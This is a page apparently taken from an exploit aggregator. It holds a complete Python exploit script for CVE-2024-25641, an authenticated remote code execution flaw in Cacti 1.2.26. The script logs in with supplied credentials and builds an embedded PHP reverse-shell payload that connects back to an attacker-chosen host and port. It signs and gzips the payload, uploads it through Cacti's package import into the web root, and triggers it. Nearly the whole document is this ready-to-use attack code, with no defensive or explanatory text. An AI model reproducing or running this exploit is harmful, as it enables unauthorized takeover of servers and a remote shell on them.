Share
## https://sploitus.com/exploit?id=PACKETSTORM:190474
# Exploit Title: Cacti 1.2.26 -  Remote Code Execution (RCE) (Authenticated)
    # Date: 06/01/2025
    # Exploit Author: D3Ext
    # Vendor Homepage: https://cacti.net/
    # Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
    # Version: 1.2.26
    # Tested on: Kali Linux 2024
    # CVE: CVE-2024-25641
    
    #!/usr/bin/python3
    
    import os
    import requests
    import base64
    import gzip
    import time
    import argparse
    import string
    import random
    from bs4 import BeautifulSoup
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import padding, rsa
    from cryptography.hazmat.primitives import serialization
    
    def get_random_string(length):
        letters = string.ascii_lowercase
        result_str = ''.join(random.choice(letters) for i in range(length))
    
        return result_str
    
    def check_version(url_to_check):
        r = requests.get(url_to_check)
        response = r.text
    
        if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
            print("[+] Version seems to be 1.2.26")
        else:
            print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")
    
    
    # Main function
    if __name__ == '__main__':
    
        p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
        p.add_argument('--url', help="URL of the Cacti web root", required=True)
        p.add_argument('--user', help="username to log in", required=True)
        p.add_argument('--password', help="password of the username", required=True)
        p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
        p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
        p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)
    
        # Parse CLI arguments
        parser = p.parse_args()
    
        url = parser.url
        username = parser.user
        password = parser.password
        lhost = parser.lhost
        lport = parser.lport
        verbose = parser.verbose
    
        url = url.rstrip("/")
    
        print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n")
    
        # check if versions match
        print("[*] Checking Cacti version...")
        time.sleep(0.5)
    
        check = check_version(url + "/CHANGELOG")
        if check == False:
            sys.exit(0)
    
        req = requests.Session()
    
        if verbose:
            print("[*] Capturing CSRF token...")
    
        r = req.get(url)
    
        # extract CSRF token
        soup = BeautifulSoup(r.text, 'html.parser')
        html_parser = soup.find('input', {'name': '__csrf_magic'})
        csrf_token = html_parser.get('value')
    
        if verbose:
            print("[+] CSRF token: " + csrf_token)
    
        print("[*] Logging in on " + url + "/index.php")
    
        # define login post data
        login_data = {
            '__csrf_magic': csrf_token,
            'action': 'login',
            'login_username': username,
            'login_password': password,
            'remember_me': 'on'
        }
    
        # send login request
        r = req.post(url + "/index.php", data=login_data)
    
        # check success
        if 'Logged in' in r.text:
            print("[+] Successfully logged in as " + username)
        else:
            print("[-] An error has ocurred while logging in as " + username)
            sys.exit(0)
    
        # generate random filename
        random_name = get_random_string(10)
        random_filename = random_name + ".php"
    
        payload = """<?php
    
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '""" + lhost + """';
    $port = """ + lport + """;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;
    
    if (function_exists('pcntl_fork')) {
    	$pid = pcntl_fork();
    	
    	if ($pid == -1) {
    		printit("ERROR: Can't fork");
    		exit(1);
    	}
    	
    	if ($pid) {
    		exit(0);  // Parent exits
    	}
    
    	if (posix_setsid() == -1) {
    		printit("Error: Can't setsid()");
    		exit(1);
    	}
    
    	$daemon = 1;
    } else {
    	printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
    }
    
    chdir("/");
    
    umask(0);
    
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    	printit("$errstr ($errno)");
    	exit(1);
    }
    
    $descriptorspec = array(
       0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => array("pipe", "w")   // stderr is a pipe that the child will write to
    );
    
    $process = proc_open($shell, $descriptorspec, $pipes);
    
    if (!is_resource($process)) {
    	printit("ERROR: Can't spawn shell");
    	exit(1);
    }
    
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    
    printit("Successfully opened reverse shell to $ip:$port");
    
    while (1) {
    	if (feof($sock)) {
    		printit("ERROR: Shell connection terminated");
    		break;
    	}
    	if (feof($pipes[1])) {
    		printit("ERROR: Shell process terminated");
    		break;
    	}
    
    	$read_a = array($sock, $pipes[1], $pipes[2]);
    	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    
    	// If we can read from the TCP socket, send
    	// data to process's STDIN
    	if (in_array($sock, $read_a)) {
    		if ($debug) printit("SOCK READ");
    		$input = fread($sock, $chunk_size);
    		if ($debug) printit("SOCK: $input");
    		fwrite($pipes[0], $input);
    	}
    
    	if (in_array($pipes[1], $read_a)) {
    		if ($debug) printit("STDOUT READ");
    		$input = fread($pipes[1], $chunk_size);
    		if ($debug) printit("STDOUT: $input");
    		fwrite($sock, $input);
    	}
    
    	if (in_array($pipes[2], $read_a)) {
    		if ($debug) printit("STDERR READ");
    		$input = fread($pipes[2], $chunk_size);
    		if ($debug) printit("STDERR: $input");
    		fwrite($sock, $input);
    	}
    }
    
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    function printit ($string) {
    	if (!$daemon) {
    		print "$string\n";
    	}
    }
    
    ?>"""
    
        # generate payload
        print("[*] Generating malicious payload...")
    
        keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
        file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
        
        b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
        b64_file_signature = base64.b64encode(file_signature).decode('utf-8')
        b64_public_key = base64.b64encode(public_key).decode('utf-8')
    
        data = """<xml>
       <files>
           <file>
               <name>resource/""" + random_filename + """</name>
               <data>""" + b64_payload + """</data>
               <filesignature>""" + b64_file_signature + """</filesignature>
           </file>
       </files>
       <publickey>""" + b64_public_key + """</publickey>
       <signature></signature>
    </xml>"""
    
        signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
        final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8')
    
        # write gzip data
        f = open(random_filename + ".gz", "wb")
        f.write(gzip.compress(final_data))
        f.close()
    
        print("[+] Malicious GZIP: " + random_filename + ".gz")
    
        # define post data
        post_data = {
            '__csrf_magic': csrf_token,
            'trust_signer': 'on',
            'save_component_import': 1,
            'action': 'save'
        }
    
        # upload file
        print("[*] Uploading GZIP file...")
    
        # send post request
        r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')})
    
        print("[+] Successfully uploaded GZIP file")
    
        time.sleep(0.5)
    
        print("[*] Validating success...")
    
        soup = BeautifulSoup(r.text, 'html.parser')
        html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename})
        file_id = html_parser.get('id')
    
        post_data = {
            '__csrf_magic': csrf_token,
            'trust_signer': 'on',
            'data_source_profile': 1,
            'remove_orphans': 'on',
            'replace_svalues': 'on',
            file_id: 'on',
            'save_component_import': 1,
            'preview_only': '',
            'action': 'save',
        }
    
        r = req.post(url + "/package_import.php?header=false", data=post_data)
    
        print("[+] Success!")
        
        time.sleep(0.5)
    
        print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename)
        time.sleep(0.2)
        print("[+] Check your netcat listener")
    
        # remove payload file
        os.remove(random_filename + ".gz")
    
        r = req.get(url + "/resource/" + random_filename)